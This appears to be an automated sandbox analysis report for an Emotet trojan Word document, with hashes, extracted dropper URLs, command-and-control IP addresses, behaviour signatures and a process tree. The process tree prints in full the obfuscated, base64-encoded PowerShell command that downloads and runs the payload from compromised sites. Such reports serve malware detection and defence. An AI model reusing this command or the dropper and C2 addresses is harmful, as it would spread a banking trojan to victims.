Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    110s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 07:10

Sharing

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General

  • Target
    emotet_e2_2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa_2020-08-21__070929._doc.doc
  • Size 185KB
  • Sample200821-b3mkb53psx
  • SHA256 2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://planetbolt.com/wp-includes/g4/
  • exe.dropper

    https://reikirelax.xyz/temp/3a/
  • exe.dropper

    http://suzukistallion.com/web/OuGmx/
  • exe.dropper

    http://www.rupeefriend.com/cgi-bin/B8o7V/
  • exe.dropper

    http://szoboszlorhinos.hu/available-array/8ET0E/
  • exe.dropper

    http://sujest.com/tv/6CyPKSX/
  • exe.dropper

    http://t-infinity.com/sites/Hfaev/

Extracted

Family

  • emotet

C2

  • 70.121.172.89:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 185.94.252.104:443

  • 64.183.73.122:80

  • 190.55.181.54:443

  • 37.70.8.161:80

  • 174.137.65.18:80

  • 203.153.216.189:7080

  • 109.116.214.124:443

  • 93.51.50.171:8080

  • 190.160.53.126:80

  • 222.214.218.37:4143

  • 87.106.136.232:8080

  • 113.160.130.116:8443

  • 174.102.48.180:80

  • 79.98.24.39:8080

  • 189.212.199.126:443

  • 89.186.91.200:443

  • 24.233.112.152:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa_2020-08-21__070929._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1420
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAGkANgA2AHUAcAA1AD0AKAAnAEQAJwArACcAMQBmADcAMQBjAHgAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBuAFYAOgBUAGUATQBwAFwAbwBGAEYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAEkAYABUAFkAYABwAHIAbwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQAUgA3AHgAZgBuAHUAaQAgAD0AIAAoACcAQQBuADkAcwBhACcAKwAnAGEAJwApADsAJABBADkAagA3AG0AeQB1AD0AKAAnAE4AZgAnACsAJwB6AHgAXwAnACsAJwAxADYAJwApADsAJABHAHUAawBtAGMAdgBmAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBZAFcAcgBPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AFkAJwArACcAVwAnACsAJwByACcAKQAtAEMAUgBlAHAAbABBAEMARQAgACgAWwBjAGgAYQByAF0AOAA5ACsAWwBjAGgAYQByAF0AOAA3ACsAWwBjAGgAYQByAF0AMQAxADQAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABSADcAeABmAG4AdQBpACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABWADIAbgBoAG4AcABrAD0AKAAnAFAAaQAnACsAJwByAGUAYQB3ADIAJwApADsAJABTADIAdQBnAGIAawBtAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMAbABJAEUAbgB0ADsAJABQAGQAdwB2AGgAbAAxAD0AKAAnAGgAJwArACcAdAB0AHAAcwA6AC8AJwArACcALwBwAGwAYQBuACcAKwAnAGUAdABiAG8AbAB0AC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBnADQALwAqAGgAdAB0AHAAcwA6AC8ALwByACcAKwAnAGUAJwArACcAaQAnACsAJwBrAGkAcgBlAGwAYQAnACsAJwB4AC4AeAAnACsAJwB5ACcAKwAnAHoALwB0AGUAbQBwAC8AMwBhAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHMAdQB6AHUAawAnACsAJwBpAHMAdABhAGwAbABpAG8AbgAuAGMAbwBtAC8AdwBlAGIALwAnACsAJwBPACcAKwAnAHUARwBtAHgALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AdwB3AHcALgByAHUAJwArACcAcABlACcAKwAnAGUAZgAnACsAJwByAGkAZQBuACcAKwAnAGQALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCACcAKwAnADgAbwA3AFYALwAqAGgAdAB0AHAAOgAvAC8AcwB6AG8AYgBvAHMAegBsACcAKwAnAG8AcgAnACsAJwBoAGkAbgBvAHMALgBoAHUALwBhAHYAJwArACcAYQBpACcAKwAnAGwAYQBiAGwAZQAtAGEAcgByAGEAeQAnACsAJwAvADgARQBUADAARQAvACoAaAB0AHQAcAA6AC8ALwBzAHUAJwArACcAagBlACcAKwAnAHMAJwArACcAdAAnACsAJwAuAGMAbwBtAC8AdAB2AC8AJwArACcANgAnACsAJwBDAHkAUAAnACsAJwBLAFMAWAAvACcAKwAnACoAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8ALwB0AC0AaQAnACsAJwBuACcAKwAnAGYAaQBuAGkAdAB5AC4AYwBvAG0ALwBzAGkAdABlAHMALwBIAGYAJwArACcAYQBlAHYALwAnACkALgAiAFMAUABgAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgB1ADUAOABsAHQAcwA9ACgAJwBQADUAJwArACcAeAAxAGIAcQB4ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAbgBxADYAaQB1AHoAIABpAG4AIAAkAFAAZAB3AHYAaABsADEAKQB7AHQAcgB5AHsAJABTADIAdQBnAGIAawBtAC4AIgBkAE8AVwBgAE4AbABgAG8AQQBEAEYAYABJAGwARQAiACgAJABCAG4AcQA2AGkAdQB6ACwAIAAkAEcAdQBrAG0AYwB2AGYAKQA7ACQARgAyAGUAMgB5ADQAbAA9ACgAJwBSACcAKwAnAHgAawBkAGgAcAA3ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHUAawBtAGMAdgBmACkALgAiAGwAYABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAzADcAOQA2ADUAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQARwB1AGsAbQBjAHYAZgApADsAJABZAHAAcQA4ADkAbABrAD0AKAAnAEMAeAB0ACcAKwAnADQAJwArACcAdQB2AGYAJwApADsAYgByAGUAYQBrADsAJABBADkAagBzAF8AZABwAD0AKAAnAEYAagB5AGoAJwArACcAbwAnACsAJwBjAGYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAGwAZABiAGgAdQBrAD0AKAAnAFYAcgAnACsAJwB1AGcAJwArACcAMwA0AGUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Users\Admin\AppData\Local\Temp\Office2019\An9saa.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\An9saa.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\SysWOW64\fontsub\FirewallControlPanel.exe
        "C:\Windows\SysWOW64\fontsub\FirewallControlPanel.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1668

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1032-9-0x0000000002450000-0x0000000002451000-memory.dmp
        Download

        memory/1032-10-0x000000001ABE0000-0x000000001ABE1000-memory.dmp
        Download

        memory/1032-11-0x0000000002030000-0x0000000002031000-memory.dmp
        Download

        memory/1032-12-0x00000000020E0000-0x00000000020E1000-memory.dmp
        Download

        memory/1032-13-0x000000001B590000-0x000000001B591000-memory.dmp
        Download

        memory/1032-14-0x000000001B7D0000-0x000000001B7D1000-memory.dmp
        Download

        memory/1032-8-0x000007FEF22F0000-0x000007FEF2CDC000-memory.dmp
        Download

        memory/1420-5-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1420-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1420-15-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1420-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmp
        Download

        memory/1420-4-0x0000000006DD0000-0x0000000006FD0000-memory.dmp
        Download

        memory/1640-18-0x0000000000250000-0x000000000025C000-memory.dmp
        Download

        memory/1668-22-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/1924-23-0x000007FEF3130000-0x000007FEF33AA000-memory.dmp
        Download